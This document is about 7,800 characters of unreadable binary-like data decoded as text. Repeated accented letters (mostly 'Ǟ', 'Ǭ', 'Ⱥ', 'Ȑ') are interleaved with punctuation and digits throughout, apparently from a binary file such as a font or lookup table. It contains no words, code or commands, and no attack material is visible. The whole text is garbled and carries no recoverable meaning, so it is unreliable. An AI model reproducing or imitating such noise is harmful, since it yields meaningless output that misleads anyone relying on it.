Ǟ!Ǟ"Ǟ#Ǟ$'%Ǟ&ǞǞ(Ǟ)ǞǞ+Ǟ,Ǟ-Ǟ.Ǟ/Ǟ0Ǟ1Ǟ2Ǟ3Ǟ4Ǟ5Ǟ6Ǟ7Ǟ8Ǟ9Ǟ:Ǟ;Ǟ<?=Ǟ>ǞǞ@ǞAǞǞC[DǞEǞFǞGǞHǞIǞJǞKǞLǞMǞNǞOǞPǞQǞRǞSǞTǞUXVǞWǞǞYǞZǞǞ\Ǟ]Ǟ^Ǟ_Ǟ`ǞaǞbǞcǞdǞeǞfǞgǞhǞiǞjǞkǞlǞmpnǞoǞǞqǞrǞǞtǞuvwxǞyǞzǞ{Ǟ|Ǟ}Ǟ~ǞǞǞǞǞǞǞǞǞǞǞǞ:ǞǞǞ:ǞǞǞǞǞǞ:ǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞ:ǞǞǞ:ǞǞǞǞǞǞ:ǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞ:ǞǞǞ:ǞǞǞǞǞǞ:ǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞ:ǞǞǞ:ǞǞǞǞǞǞ:ǞT# ǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞ Ǟ ǞǞ Ǟ ǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞ ǞǞǞ!Ǟ"ǞǞ$<%Ǟ&Ǟ'Ǟ(Ǟ)Ǟ*Ǟ+Ǟ,Ǟ-Ǟ.Ǟ/Ǟ0Ǟ1Ǟ2Ǟ3Ǟ4Ǟ5Ǟ697Ǟ8ǞǞ:Ǟ;ǞǞ=Ǟ>Ǟ?Ǟ@ǞAǞBǞCǞDǞEǞFǞGǞHǞIǞJǞKǞLǞMǞNQOǞPǞǞRǞSǞǞUVkWǞXǞYǞZǞ[Ǟ\Ǟ]Ǟ^Ǟ_Ǟ`ǞaǞbǞcǞdǞeǞfǞgǞhǞiǞjǞǞlǞmǞnǞoǞpǞqǞrǞsǞtǞuǞvǞwǞxǞyǞzǞ{Ǟ|Ǟ}Ǟ~ǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞEǬǬǬǬǬǬǬǬǬǬǬǬǬǬǬǬǬǬ8ǬǬǬ8ǬǬǬǬ8ǬǬǬǬǬǬǬǬǬ8ǬǬǬǬǬǬǬǬǬǬǬǬǬǬǬǬǬǬ8ǬǬǬ8ǬǬǬǬ8ǬǬǬǬǬǬǬǬǬ8Ǭ ǬǬǬǬǬǬǬǬǬǬǬǬ Ǭ Ǭ Ǭ  ǬǬ8ǬǬǬ8ǬǬǬǬ8ǬǬǬǬǬǬǬǬǬ8Ǭ!Ǭ"Ǭ#Ǭ$Ǭ%Ǭ&Ǭ'Ǭ(Ǭ)Ǭ*Ǭ+Ǭ,<-Ǭ.Ǭ/Ǭ0Ǭ18253Ǭ4Ǭ8Ǭ6Ǭ7Ǭ8Ǭ9Ǭ:Ǭ;Ǭ8Ǭ=ǬǬ>Ǭ?@ǬǬABǬCǬDǬ8ǬFGHnIJKLMNOPQRSTUVgWXY`Z][\T^_TadbcTefThijklmTopqrstuvwxyz{|}~TTTTTTTTTTTTTTT:ǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞv%ǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞ Ǟ Ǟ Ǟ Ǟ ǞǞv%Ǟ%ǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞ Ǟ!Ǟ"Ǟ#Ǟ$Ǟv%Ǟ&Ǟ'Ǟ(Ǟ)Ǟ*Ǟ+Ǟ,Ǟ-Ǟ.Ǟ/Ǟ0Ǟ1Ǟ2Ǟ3Ǟ4Ǟ5Ǟ6Ǟ7Ǟ8Ǟ9Ǟv%Ǟ;<g=R>Ǟ?Ǟ@ǞAǞBǞCǞDǞEǞFǞGǞHǞIǞJǞKǞLǞMǞNǞOǞPǞQǞǞSǞTǞUǞVǞWǞXǞYǞZǞ[Ǟ\Ǟ]Ǟ^Ǟ_Ǟ`ǞaǞbǞcǞdǞeǞfǞǞh}iǞjǞkǞlǞmǞnǞoǞpǞqǞrǞsǞtǞuǞvǞwǞxǞyǞzǞ{Ǟ|ǞǞ~ǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞǞTǞǞǞǞǞǞǞǞǞǞǞǞǞXǞǞǞXǞǞǞXǞǞǞXǞǞǞXǞǞǞXǞǞǞXǞǞǞXǞǞǞXǞǞǞXǞǞǞǞXǞǞǞǞXǞǞǞǞXǞǞǞǞǞǞǞǞXǞǞǞǞǞǞǞǞǞXǞǞǞǞǞǞǞǞǞǞǞXǞǞǞǞǞǞǞǞǞǞIǞ@8Ǟ"  ǞǞXǞ Ǟ ǞXǞ ǞǞXǞǞǞXǞǞǞXǞǞǞXǞǞǞXǞ Ǟ!ǞXǞ#/$+%(&Ǟ'ǞXǞ)Ǟ*ǞXǞ,Ǟ-Ǟ.ǞXǞ041Ǟ2Ǟ3ǞXǞ5Ǟ6Ǟ7ǞXǞǞ9Ǟ:;ǞǞ<=Ǟ>Ǟ?ǞXǞAǞǞBǞCǞDǞEǞFGǞHǞXǞJǞKǞǞLMǞǞNǞOǞPǞQRǞSǞXǞUVǞWǞXǞYǞZǞ[Ǟ\Ǟ]Ǟ^Ǟ_`ǞabcǞdetfmgjhǞiǞXǞkǞlǞXǞnqoǞpǞXǞrǞsǞXǞu|vywǞxǞXǞzǞ{ǞXǞ}~ǞǞXǞǞǞXǞǞǞXǞǞǞXǞǞǞǞXǞǞǞǞXǞǞǞǞXǞǞǞǞǞǞǞǞXǞǞǞǞǞǞǞǞǞXǞǞǞǞǞǞǞǞǞǞǞXǞǞǞǞǞǞǞǞǞǞ ǞǞǞǞXǞǞǞXǞǞǞXǞǞǞXǞǞǞXǞǞǞXǞǞǞXǞǞǞXǞǞǞXǞǞǞXǞǞǞǞXǞǞǞǞXǞǞǞǞXǞǞǞǞǞǞǞǞXǞǞǞǞǞǞǞǞ ǞXǞ Ǟ ǞǞ ǞǞǞǞǞǞǞXǞ kS7ȺȺȺȺ Ⱥ!Ⱥ"Ⱥ#Ⱥ$Ⱥ%Ⱥ&Ⱥ'Ⱥ(Ⱥ)Ⱥ*Ⱥ+Ⱥ,0-Ⱥ.Ⱥ/ȺȺ142Ⱥ3ȺȺ5Ⱥ6ȺȺ8Ⱥ9Ⱥ:Ⱥ;Ⱥ<Ⱥ=Ⱥ>Ⱥ?Ⱥ@ȺAȺBȺCȺDȺEȺFȺGȺHLIȺJȺKȺȺMPNȺOȺȺQȺRȺȺTpUȺVȺWȺXȺYȺZȺ[Ⱥ\Ⱥ]Ⱥ^Ⱥ_Ⱥ`ȺaȺbȺcȺdȺeifȺgȺhȺȺjmkȺlȺȺnȺoȺȺqȺrȺsȺtȺuȺvȺwȺxȺyȺzȺ{Ⱥ|Ⱥ}Ⱥ~ȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺ81ȺȺȺ81ȺȺȺȺ81ȺȺȺȺȺ81ȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺ81ȺȺȺ81ȺȺȺȺ81ȺȺȺȺȺ81ȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺ81ȺȺȺ81ȺȺȺȺ81ȺȺȺȺȺ81ȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺ ȺȺ81ȺȺ Ⱥ81Ⱥ Ⱥ Ⱥ Ⱥ81ȺȺȺȺȺ81ȺȺ@+ȺȺȺȺȺȺȺȺȺ Ⱥ!Ⱥ"Ⱥ#Ⱥ$Ⱥ%Ⱥ&Ⱥ'Ⱥ(Ⱥ)Ⱥ*Ⱥ>Ⱥ,Ⱥ-Ⱥ.Ⱥ/Ⱥ0Ⱥ1Ⱥ2Ⱥ3Ⱥ4Ⱥ5Ⱥ6Ⱥ7Ⱥ8Ⱥ9Ⱥ:Ⱥ;Ⱥ<Ⱥ=Ⱥ>Ⱥ?Ⱥ>ȺAVBȺCȺDȺEȺFȺGȺHȺIȺJȺKȺLȺMȺNȺOȺPȺQȺRȺSȺTȺUȺ>ȺWȺXȺYȺZȺ[Ⱥ\Ⱥ]Ⱥ^Ⱥ_Ⱥ`ȺaȺbȺcȺdȺeȺfȺgȺhȺiȺjȺ>ȺlKmnopȺqȺrȺsȺtȺuȺvȺwȺxȺyȺzȺ{Ⱥ|Ⱥ}Ⱥ~ȺȺȺȺȺȺ=ȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺ=ȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺ=ȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺ=ȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺ>-ȺȺȺȺ>-ȺȺȺȺȺȺȺȺ>-ȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺ>-ȺȺȺȺ>-ȺȺȺȺȺȺȺȺ>-Ⱥ * Ⱥ Ⱥ Ⱥ ȺȺȺȺȺȺȺȺȺ"ȺȺȺȺȺȺ>-ȺȺ Ⱥ!Ⱥ>-Ⱥ#Ⱥ$ȺȺ%Ⱥ&Ⱥ'(Ⱥ)Ⱥ>-Ⱥ+Ⱥ,Ⱥ-Ⱥ.Ⱥ/Ⱥ0Ⱥ1Ⱥ2Ⱥ3Ⱥ4Ⱥ5Ⱥ6Ⱥ7C8Ⱥ9Ⱥ:Ⱥ;?<Ⱥ=Ⱥ>Ⱥ>-Ⱥ@ȺAȺBȺ>-ȺDȺEȺȺFȺGȺHIȺJȺ>-ȺL +MNOȺPȺQȺRȺSȺTȺUȺVȺWKXjY(Z[\]|^m_f`caȺbȺȐȺdȺeȺȐȺgjhȺiȺȐȺkȺlȺȐȺnuorpȺqȺȐȺsȺtȺȐȺvywȺxȺȐȺzȺ{ȺȐȺ}~ȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺ ȺȺȐȺȺȺȐȺȺȺȐȺ Ⱥ ȺȐȺ  ȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȺ#ȺȺ !Ⱥ"ȺȐȺȺ$%Ⱥ&Ⱥ'ȺȐȺ)G*9+2Ⱥ,Ⱥ-.Ⱥ/Ⱥ0Ⱥ1ȺȐȺ3ȺȺ4Ⱥ56Ⱥ7Ⱥ8ȺȐȺ:Ⱥ;AȺ<Ⱥ=Ⱥ>?Ⱥ@ȺȐȺBȺȺCȺDEȺFȺȐȺH]IPJȺKȺȺLȺMNȺOȺȐȺQWRȺSȺȺTUȺVȺȐȺXȺȺYȺZ[Ⱥ\ȺȐȺȺ^_Ⱥ`eȺabȺcȺdȺȐȺfȺȺghȺiȺȐȺklmn~ȺopyqurȺsȺtȺȐȺvȺwȺxȺȐȺȺz{Ⱥ|Ⱥ}ȺȐȺȺȺȺȺȺȺȐȺȺȺȺȺȺȐȺȺȺȺȺȺȐȺȺȺȺȺȺȐȺȺȺȺȺȐȺȺȺȺȺȺȐȺȺȺȺȺȐȺȺȺȐȺȺȺȺȺȺȐȺȺȺȺȐȺȺȺȐȺȺȺȺȺȺȐȺȺȺȺȺȺȐȺȺȺȺȺȺȐȺȺȺȺȺȺȐȺȺȺȺȺȺȐȺȺȺȺȐȺȺȺȺȐȺȺȺȺȺȐȺȺȺȺȺȺȐȺȺȺȺȺȐȺȺȺȺȐȺȺ Ⱥ Ⱥ Ⱥ Ⱥ ȺȐȺȺȺȺȺȺȐȺ2ȺȺȺȺȺȺȐȺ#ȺȺȺ !Ⱥ"ȺȐȺ$)Ⱥ%&Ⱥ'Ⱥ(ȺȐȺ*.Ⱥ+,Ⱥ-ȺȐȺȺ/0Ⱥ1ȺȐȺ3:4ȺȺ5Ⱥ6Ⱥ78Ⱥ9ȺȐȺ;A<ȺȺ=>Ⱥ?Ⱥ@ȺȐȺBȺCGȺDEȺFȺȐȺȺHIȺJȺȐȺLMNiOȺPbQWȺRSȺTȺUȺVȺȐȺX]ȺYZȺ[Ⱥ\ȺȐȺ^ȺȺ_`ȺaȺȐȺcȺdȺeȺȺfgȺhȺȐȺjxȺklrmȺnȺȺopȺqȺȐȺsȺȺtȺuvȺwȺȐȺyz{ȺȺ|Ⱥ}~ȺȺȐȺȺȺȺȺȺȐȺȺȺȺȺȺȐȺȺȺȐȺȺȺȺȺȺȺȐȺȺȺȺȺȐȺȺȺȺȺȺȺȐȺȺȺȺȺȺȐȺȺȺȺȺȺȺȐȺȺȺȺȺȺȺȐȺȺȺȺȺȺȐȺȺȺȺȺȐȺȺȺȺȺȺȺȐȺȺȺȺȺȺȺȺȐȺȺȺȺȺȺȺȐȺȺȺȺȺȺȐȺȺȺȺȐȺȺȺȺȺȺȐȺȺȺȺȺȺȺȺȐȺȺȺȺȺȺȺȐȺȺȺȺ Ⱥ Ⱥ Ⱥ Ⱥ Ⱥ!R3$ȺȺȐȺȺȺȐȺ!Ⱥ ȺȐȺ"Ⱥ#ȺȐȺ%,&)'Ⱥ(ȺȐȺ*Ⱥ+ȺȐȺ-0.Ⱥ/ȺȐȺ1Ⱥ2ȺȐȺ4C5<697Ⱥ8ȺȐȺ:Ⱥ;ȺȐȺ=@>Ⱥ?ȺȐȺAȺBȺȐȺDKEHFȺGȺȐȺIȺJȺȐȺLOMȺNȺȐȺPȺQȺȐȺSrTcU\VYWȺXȺȐȺZȺ[ȺȐȺ]`^Ⱥ_ȺȐȺaȺbȺȐȺdkehfȺgȺȐȺiȺjȺȐȺlomȺnȺȐȺpȺqȺȐȺst{uxvȺwȺȐȺyȺzȺȐȺ|}Ⱥ~ȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȺȺȺȺȺȐȺȺȺȺȺȐȺȺȺȺȺȺȺȐȺȺȺȺȺȺȺȐȺȺȺȺȺȺȺȐȺȺȺȺȺȺȐȺȺȺȺȺȺȺȐȺ Ⱥ ȺȺ  Ⱥ ȺȐȺȺȺȺȺȺȐȺȺȺȺȺȺȺȐȺȺȺȺ ȺȐȺ"#V$<%5Ⱥ&'0(,)Ⱥ*Ⱥ+ȺȐȺ-Ⱥ.Ⱥ/ȺȐȺȺ12Ⱥ3Ⱥ4ȺȐȺȺ67ȺȺ8Ⱥ9:Ⱥ;ȺȐȺ=J>D?Ⱥ@ȺAȺBȺCȺȐȺEȺȺFGȺHȺIȺȐȺKȺLQȺMNȺOȺPȺȐȺȺRSȺTȺUȺȐȺWwXhY_ZȺȺ[Ⱥ\]Ⱥ^ȺȐȺȺ`ȺabecȺdȺȐȺfȺgȺȐȺiȺjokȺlȺmȺnȺȐȺpȺqtrȺsȺȐȺuȺvȺȐȺxyzȺ{Ⱥ|Ⱥ}Ⱥ~ȺȐȺȺȺȺȺȺȐȺȺȺȺȺȺȐȺȺȺȺȺȺȐȺȺȺȺȺȺȐȺȺȺȺȐȺȺȺȺȐȺȺȺȺȺȐȺȺȺȺȺȺȐȺȺȺȺȺȐȺȺȺȺȐȺȺȺȺȺȺȺȐȺȺȺȺȺȺȐȺȺȺȺȺȺȺȐȺȺȺȺȺȺȐȺȺȺȺȺȐȺȺȺȺȐȺȺȺȺȐȺȺȺȺȺȺȺȐȺȺȺȺȺȺȐȺȺȺȺȺȐȺȺȺȺȐȺG ȺȺ  Ⱥ Ⱥ Ⱥ ȺȐȺȺȺȺȺȐȺȺȺȺȺȐȺȺȺȺȺȺȺȐȺ!/Ⱥ"#)$Ⱥ%ȺȺ&'Ⱥ(ȺȐȺ*ȺȺ+Ⱥ,-Ⱥ.ȺȐȺ0=172ȺȺ3Ⱥ45Ⱥ6ȺȐȺȺ89ȺȺ:;Ⱥ<ȺȐȺ>Ⱥ?ȺȺ@ADBȺCȺȐȺEȺFȺȐȺHdIVJȺKȺLQȺMȺNOȺPȺȐȺRȺȺSTȺUȺȐȺWȺX^ȺYZȺȺ[\Ⱥ]ȺȐȺ_ȺȺ`ȺabȺcȺȐȺetfmȺghȺiȺȺjkȺlȺȐȺȺnȺoȺpȺqrȺsȺȐȺuȺvw|ȺxyȺzȺ{ȺȐȺȺ}~ȺȺȺȐȺȺȺȺȺȺȺȐȺȺȺȺȺȺȺȺȐȺȺȺȺȺȺȺȐȺȺȺȺȺȺȐȺȺȺȺȐȺȺȺȺȺȺȐȺȺȺȺȺȺȺȺȐȺȺȺȺȺȺȺȐȺ tȺȺȺȺȺȺȺȺ I ȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺ ȺȐȺ *  ȺȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺ# ȺȺȐȺ!Ⱥ"ȺȐȺ$'%Ⱥ&ȺȐȺ(Ⱥ)ȺȐȺ+:,3-0.Ⱥ/ȺȐȺ1Ⱥ2ȺȐȺ475Ⱥ6ȺȐȺ8Ⱥ9ȺȐȺ;B<?=Ⱥ>ȺȐȺ@ȺAȺȐȺCFDȺEȺȐȺGȺHȺȐȺJȺKjL[MTNQOȺPȺȐȺRȺSȺȐȺUXVȺWȺȐȺYȺZȺȐȺ\c]`^Ⱥ_ȺȐȺaȺbȺȐȺdgeȺfȺȐȺhȺiȺȐȺkzlsmpnȺoȺȐȺqȺrȺȐȺtwuȺvȺȐȺxȺyȺȐȺ{|}Ⱥ~ȺȐȺȺȺȐȺȺȺȐȺȺȺȐȺȺȺȺȺȺȺȺȐȺȺȺȺȺȐȺȺȺȺȺȺȺȐȺȺȺȺȺȺȺȐȺȺȺȺȺȺȺȐȺȺȺȺȺȺȐȺȺȺȺȺȺȺȐȺȺȺȺȺȺȐȺȺȺȺȺȺȐȺȺȺȺȺȺȺȐȺȺȺȺȺȐȺ J ȺȺȺȺȐȺȺȺȺȐȺȺȺȺȺȐȺȺȺȺȺȺȺȐȺ ȺȺȺȺȺȐȺȺȺȺ Ⱥ ȺȐȺ Ⱥ  Ⱥ  Ⱥ Ⱥ ȺȐȺȺ  Ⱥ Ⱥ ȺȐȺ  /     ȺȺ Ⱥ  Ⱥ ȺȐȺȺ Ⱥ    Ⱥ ȺȐȺ Ⱥ ȺȐȺ !Ⱥ " ' #Ⱥ $Ⱥ %Ⱥ &ȺȐȺ (Ⱥ ) , *Ⱥ +ȺȐȺ -Ⱥ .ȺȐȺ 0 = 1 7 2Ⱥ 3Ⱥ 4Ⱥ 5Ⱥ 6ȺȐȺ 8ȺȺ 9 :Ⱥ ;Ⱥ <ȺȐȺ > DȺ ?Ⱥ @Ⱥ A BȺ CȺȐȺȺ E FȺȺ G HȺ IȺȐȺ K  L t M c N TȺ OȺ P QȺ RȺ SȺȐȺ U ^ V Z WȺ XȺ YȺȐȺȺ [ \Ⱥ ]ȺȐȺȺ _ `Ⱥ aȺ bȺȐȺ d j eȺȺ f gȺ hȺ iȺȐȺ kȺ l p mȺ nȺ oȺȐȺȺ q rȺ sȺȐȺ uȺ v | wȺ xȺ yȺ zȺ {ȺȐȺȺ } ~Ⱥ Ⱥ Ⱥ ȺȐȺ     ȺȺ  ȺȺ  Ⱥ ȺȐȺ  Ⱥ Ⱥ Ⱥ  Ⱥ ȺȐȺ  Ⱥ  Ⱥ Ⱥ ȺȐȺ  Ⱥ  Ⱥ ȺȐȺȺ  Ⱥ ȺȐȺ   ȺȺ Ⱥ Ⱥ  Ⱥ ȺȐȺ   ȺȺ  Ⱥ Ⱥ ȺȐȺ Ⱥ  Ⱥ  Ⱥ ȺȐȺȺ  Ⱥ ȺȐȺ  @     Ⱥ    Ⱥ  Ⱥ Ⱥ Ⱥ ȺȐȺ  Ⱥ  Ⱥ Ⱥ ȺȐȺ ȺȺ  Ⱥ ȺȐȺ Ⱥ Ⱥ ȺȺ  Ⱥ ȺȐȺ  Ⱥ    Ⱥ ȺȺ  Ⱥ ȺȐȺ ȺȺ Ⱥ  Ⱥ ȺȐȺ     ȺȺ Ⱥ  Ⱥ ȺȐȺȺ  ȺȺ  Ⱥ ȺȐȺ Ⱥ ȺȺ    Ⱥ ȺȐȺ Ⱥ ȺȐȺ     Ⱥ Ⱥ  Ⱥ Ⱥ  Ⱥ ȺȐȺ ȺȺ  Ⱥ ȺȐȺ Ⱥ  Ⱥ  ȺȺ  Ⱥ ȺȐȺ ȺȺ Ⱥ  Ⱥ ȺȐȺ  ,  %Ⱥ  Ⱥ !ȺȺ " #Ⱥ $ȺȐȺȺ &Ⱥ 'Ⱥ (Ⱥ ) *Ⱥ +ȺȐȺ - 9Ⱥ . / 4Ⱥ 0 1Ⱥ 2Ⱥ 3ȺȐȺȺ 5 6Ⱥ 7Ⱥ 8ȺȐȺȺ : ;Ⱥ <ȺȺ = >Ⱥ ?ȺȐȺ AȺ B d C R D KȺ E FȺ GȺ HȺ IȺ JȺȐȺ LȺ MȺ NȺȺ O PȺ QȺȐȺ SȺ T ^ UȺ V ZȺ W XȺ YȺȐȺȺ [ \Ⱥ ]ȺȐȺ _Ⱥ `ȺȺ a bȺ cȺȐȺ eȺ f m gȺ hȺȺ iȺ j kȺ lȺȐȺ nȺȺ o pȺȺ q rȺ sȺȐȺ uȺ vȺ wȺ xȺ yȺ zȺ {Ⱥ |Ⱥ } q ~   N  @             Ⱥ ȺȐȺ Ⱥ ȺȐȺ   Ⱥ ȺȐȺ Ⱥ ȺȐȺ     Ⱥ ȺȐȺ Ⱥ ȺȐȺ   Ⱥ ȺȐȺ Ⱥ ȺȐȺ       Ⱥ ȺȐȺ Ⱥ ȺȐȺ   Ⱥ ȺȐȺ Ⱥ ȺȐȺ     Ⱥ ȺȐȺ Ⱥ ȺȐȺ   Ⱥ ȺȐȺ Ⱥ ȺȐȺ         Ⱥ ȺȐȺ Ⱥ ȺȐȺ   Ⱥ ȺȐȺ Ⱥ ȺȐȺ     Ⱥ ȺȐȺ Ⱥ ȺȐȺ   Ⱥ ȺȐȺ Ⱥ ȺȐȺ       Ⱥ ȺȐȺ Ⱥ ȺȐȺ   Ⱥ ȺȐȺ Ⱥ ȺȐȺ     Ⱥ ȺȐȺ Ⱥ ȺȐȺ   Ⱥ ȺȐȺ Ⱥ ȺȐȺ Ⱥ  !       Ⱥ ȺȐȺ Ⱥ ȺȐȺ   Ⱥ ȺȐȺ Ⱥ ȺȐȺ     Ⱥ ȺȐȺ Ⱥ ȺȐȺ   Ⱥ ȺȐȺ Ⱥ ȺȐȺ " 1 # * $ ' %Ⱥ &ȺȐȺ (Ⱥ )ȺȐȺ + . ,Ⱥ -ȺȐȺ /Ⱥ 0ȺȐȺ 2 9 3 6 4Ⱥ 5ȺȐȺ 7Ⱥ 8ȺȐȺ : = ;Ⱥ <ȺȐȺ >Ⱥ ?ȺȐȺ AȺ BȺ CȺ D I EȺȺ F GȺ HȺȐȺȺ J KȺ LȺ MȺȐȺ O m P _ Q XȺ RȺ S TȺ UȺ VȺ WȺȐȺ YȺȺ ZȺ [ \Ⱥ ]Ⱥ ^ȺȐȺ `Ⱥ a gȺ bȺ cȺ d eȺ fȺȐȺ hȺȺ iȺ j kȺ lȺȐȺ n  o v pȺ qȺȺ rȺ s tȺ uȺȐȺ w } xȺ yȺȺ z {Ⱥ |ȺȐȺ ~ȺȺ Ⱥ  Ⱥ ȺȐȺȺ  Ⱥ  Ⱥ  Ⱥ Ⱥ ȺȐȺ ȺȺ  Ⱥ ȺȐȺ        Ⱥ      Ⱥ Ⱥ ȺȐȺ Ⱥ Ⱥ ȺȐȺȺ  Ⱥ Ⱥ ȺȐȺȺ  ȺȺ Ⱥ  Ⱥ ȺȐȺ     Ⱥ Ⱥ Ⱥ Ⱥ ȺȐȺ ȺȺ  Ⱥ Ⱥ ȺȐȺ Ⱥ  Ⱥ  Ⱥ Ⱥ ȺȐȺȺ  Ⱥ Ⱥ ȺȐȺ       ȺȺ Ⱥ  Ⱥ ȺȐȺȺ Ⱥ    Ⱥ ȺȐȺ Ⱥ ȺȐȺ Ⱥ   Ⱥ Ⱥ Ⱥ ȺȐȺ Ⱥ   Ⱥ ȺȐȺ Ⱥ ȺȐȺ     Ⱥ Ⱥ Ⱥ Ⱥ ȺȐȺ ȺȺ  Ⱥ Ⱥ ȺȐȺ  Ⱥ Ⱥ Ⱥ  Ⱥ ȺȐȺȺ  ȺȺ  Ⱥ ȺȐȺ  9  +    Ⱥ Ⱥ  Ⱥ Ⱥ ȺȐȺ     Ⱥ Ⱥ ȺȐȺȺ  Ⱥ ȺȐȺȺ  Ⱥ Ⱥ ȺȐȺ  ! ȺȺ  Ⱥ Ⱥ ȺȐȺ "Ⱥ # ' $Ⱥ %Ⱥ &ȺȐȺȺ ( )Ⱥ *ȺȐȺ ,Ⱥ - 3 .Ⱥ /Ⱥ 0Ⱥ 1Ⱥ 2ȺȐȺȺ 4 5Ⱥ 6Ⱥ 7Ⱥ 8ȺȐȺ : X ; B <ȺȺ = >ȺȺ ? @Ⱥ AȺȐȺ C IȺ DȺ EȺ F GȺ HȺȐȺ J OȺ K LȺ MȺ NȺȐȺ P TȺ Q RȺ SȺȐȺȺ U VȺ WȺȐȺ Y ` ZȺȺ [Ⱥ \Ⱥ ] ^Ⱥ _ȺȐȺ a g bȺȺ c dȺ eȺ fȺȐȺ hȺ i mȺ j kȺ lȺȐȺȺ n oȺ pȺȐȺ r  s  t  uȺ v  w }Ⱥ x yȺ zȺ {Ⱥ |ȺȐȺ ~ Ⱥ  Ⱥ Ⱥ ȺȐȺ ȺȺ  Ⱥ ȺȐȺ Ⱥ Ⱥ ȺȺ  Ⱥ ȺȐȺ  Ⱥ    Ⱥ ȺȺ  Ⱥ ȺȐȺ ȺȺ Ⱥ  Ⱥ ȺȐȺ     ȺȺ Ⱥ  Ⱥ ȺȐȺȺ  ȺȺ  Ⱥ ȺȐȺ Ⱥ ȺȺ    Ⱥ ȺȐȺ Ⱥ ȺȐȺ     Ⱥ Ⱥ  Ⱥ Ⱥ  Ⱥ ȺȐȺ ȺȺ  Ⱥ ȺȐȺ Ⱥ  Ⱥ  ȺȺ  Ⱥ ȺȐȺ ȺȺ Ⱥ  Ⱥ ȺȐȺ    Ⱥ  Ⱥ ȺȺ  Ⱥ ȺȐȺȺ Ⱥ Ⱥ Ⱥ  Ⱥ ȺȐȺ  Ⱥ   Ⱥ  Ⱥ Ⱥ ȺȐȺȺ  Ⱥ Ⱥ ȺȐȺȺ  Ⱥ ȺȺ  Ⱥ ȺȐȺ Ⱥ      Ⱥ  Ⱥ Ⱥ Ⱥ Ⱥ ȺȐȺ Ⱥ Ⱥ ȺȺ  Ⱥ ȺȐȺ Ⱥ   Ⱥ  Ⱥ  Ⱥ ȺȐȺȺ  Ⱥ ȺȐȺ Ⱥ ȺȺ  Ⱥ ȺȐȺ Ⱥ  $ Ⱥ ȺȺ Ⱥ ! "Ⱥ #ȺȐȺ %ȺȺ & 'ȺȺ ( )Ⱥ *ȺȐȺ ,  - _ .Ⱥ /Ⱥ 0Ⱥ 1Ⱥ 2Ⱥ 3Ⱥ 4Ⱥ 5Ⱥ 6Ⱥ 7Ⱥ 8 L 9Ⱥ :Ⱥ ;Ⱥ <Ⱥ =Ⱥ > E ? B @Ⱥ AȺNȺ CȺ DȺNȺ F I GȺ HȺNȺ JȺ KȺNȺ M V NȺȺ OȺ P QȺȺ RȺ S TȺ UȺNȺ WȺȺ X YȺ ZȺ [Ⱥ \Ⱥ ]Ⱥ ^ȺNȺ `Ⱥ aȺ bȺ cȺ dȺ eȺ fȺ gȺ hȺ iȺ j ~ kȺ lȺ mȺ nȺ oȺ p w q t rȺ sȺNȺ uȺ vȺNȺ x { yȺ zȺNȺ |Ⱥ }ȺNȺ   ȺȺ Ⱥ  ȺȺ Ⱥ  Ⱥ ȺNȺ ȺȺ  Ⱥ Ⱥ Ⱥ Ⱥ Ⱥ ȺNȺ   Ⱥ Ⱥ Ⱥ Ⱥ Ⱥ Ⱥ Ⱥ Ⱥ Ⱥ Ⱥ   Ⱥ Ⱥ Ⱥ Ⱥ Ⱥ     Ⱥ ȺNȺ Ⱥ ȺNȺ   Ⱥ ȺNȺ Ⱥ ȺNȺ   ȺȺ Ⱥ  ȺȺ Ⱥ  Ⱥ ȺNȺ ȺȺ  Ⱥ Ⱥ Ⱥ Ⱥ Ⱥ ȺNȺ Ⱥ Ⱥ Ⱥ Ⱥ Ⱥ Ⱥ Ⱥ Ⱥ Ⱥ Ⱥ   Ⱥ Ⱥ Ⱥ Ⱥ Ⱥ     Ⱥ ȺNȺ Ⱥ ȺNȺ   Ⱥ ȺNȺ Ⱥ ȺNȺ   ȺȺ Ⱥ  ȺȺ Ⱥ  Ⱥ ȺNȺ ȺȺ  Ⱥ Ⱥ Ⱥ Ⱥ Ⱥ 